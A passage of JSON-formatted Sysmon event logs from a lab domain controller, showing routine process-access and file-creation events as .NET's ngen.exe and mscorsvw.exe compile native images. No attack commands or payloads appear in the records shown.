12:03:03.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-0010F4B50E00}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-0010F4B50E00}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-0010F4B50E00}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-0010F4B50E00}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-0010F4B50E00}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:03.651\r\nProcessGuid: {90617006-42F7-5F2D-0000-0010F4B50E00}\r\nProcessId: 2584\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a18-0\\System.IdentityModel.Services.dll\r\nCreationUtcTime: 2020-08-07 12:03:03.651","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:03.651","ProcessGuid":"{90617006-42F7-5F2D-0000-0010F4B50E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\a18-0\\System.IdentityModel.Services.dll","CreationUtcTime":"2020-08-07 12:03:03.651","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.745\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001039BD0E00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.745","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001039BD0E00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.745\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001039BD0E00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.745","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001039BD0E00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001039BD0E00}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001039BD0E00}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.901\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001066C00E00}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.901","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001066C00E00}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.901\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001066C00E00}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:03.901","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F7-5F2D-0000-001066C00E00}","TargetProcessId":"3292","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:03.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F7-5F2D-0000-001066C00E00}\r\nTargetProcessId: 3292\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 